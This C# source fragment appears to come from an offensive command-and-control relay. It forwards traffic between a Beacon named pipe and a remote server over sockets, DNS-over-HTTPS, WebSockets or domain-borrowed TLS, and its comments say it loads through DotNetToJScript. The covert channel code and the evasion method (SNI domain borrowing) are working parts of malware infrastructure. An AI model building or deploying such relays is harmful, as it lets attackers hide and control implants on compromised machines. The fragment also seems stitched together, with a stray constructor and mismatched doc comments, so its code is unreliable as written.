/// <summary>
/// Configuration function for DotNetToJScript and Unit Tests
/// To use with JScript:
/// o.Configure('127.0.0.1', '2222');
/// o.Go()
/// </summary>
/// <param name="ipAddr"></param>
/// <param name="port"></param>
public void Configure(string ipAddr, string port)
{
Port = port;
IpAddress = ipAddr;
PipeName = Guid.NewGuid();
BeaconChannel = new BeaconChannel(PipeName);
ServerChannel = new SocketChannel(ipAddr, port);
}
/// <summary>
/// Configuration function for DotNetToJScript and Unit Tests
/// To use with JScript:
/// o.Configure('send.example.org','receive.example.org','https://doh-provider.example.org/resolve');
/// o.Go()
/// </summary>
/// <param name="ipAddr"></param>
/// <param name="port"></param>
public void Configure(string sendHost, string receiveHost, string resolver)
{
sHost = sendHost;
rHost = receiveHost;
dResolver = resolver;
PipeName = Guid.NewGuid();
BeaconChannel = new BeaconChannel(PipeName);
ServerChannel = new DoHChannel(sHost, rHost, dResolver);
}
/// <summary>
/// Sets the started boolean to false and disconnects the underlying channels
/// </summary>
public void Stop()
{
Started = false;
Console.WriteLine("[-] Closing pipe connection");
BeaconChannel?.Close();
Console.WriteLine("[-] Closing socket connection");
ServerChannel?.Close();
}
/// <summary>
/// The main function for relaying C2 communications
/// </summary>
/// <exception cref="T:System.Exception"></exception>
public void Go()
{
try
{
if (!Initialize())
{
throw new Exception("C2 connector was not initialized...");
}
if (!ServerChannel.Connected)
{
throw new Exception("Server Channel is not connected");
}
if (!BeaconChannel.Connected)
{
throw new Exception("Beacon Channel is not connected");
}
Started = true;
while (true)
{
if (!BeaconChannel.ReadAndSendTo(ServerChannel))
{
break;
}
if (!ServerChannel.ReadAndSendTo(BeaconChannel))
{
break;
}
Thread.Sleep(Sleep);
}
Console.WriteLine("[!] Stopping loop, no bytes received");
}
catch (Exception ex)
{
Console.WriteLine($"[!] Exception occured: {ex.Message}");
}
finally
{
Stop();
}
}
/// <summary>
/// Configuration function for DotNetToJScript and Unit Tests
/// To use with JScript:
/// o.Configure('ws://127.0.0.1/bws');
/// o.Go()
/// </summary>
/// <param name="url"></param>
public void Configure(string url)
{
BeaconChannel = new BeaconChannel();
ServerChannel = new WebSocketChannel(url);
UrlEndpoint = url;
}
public Client(string url, string sni, int port = 443, int sleep = 60000)
: base(new DomainBorrowingChannel(url, sni, port), sleep)
{
BeaconChannel = new BeaconChannel(PipeName);
ServerChannel = new DomainBorrowingChannel(url, sni, port);
}
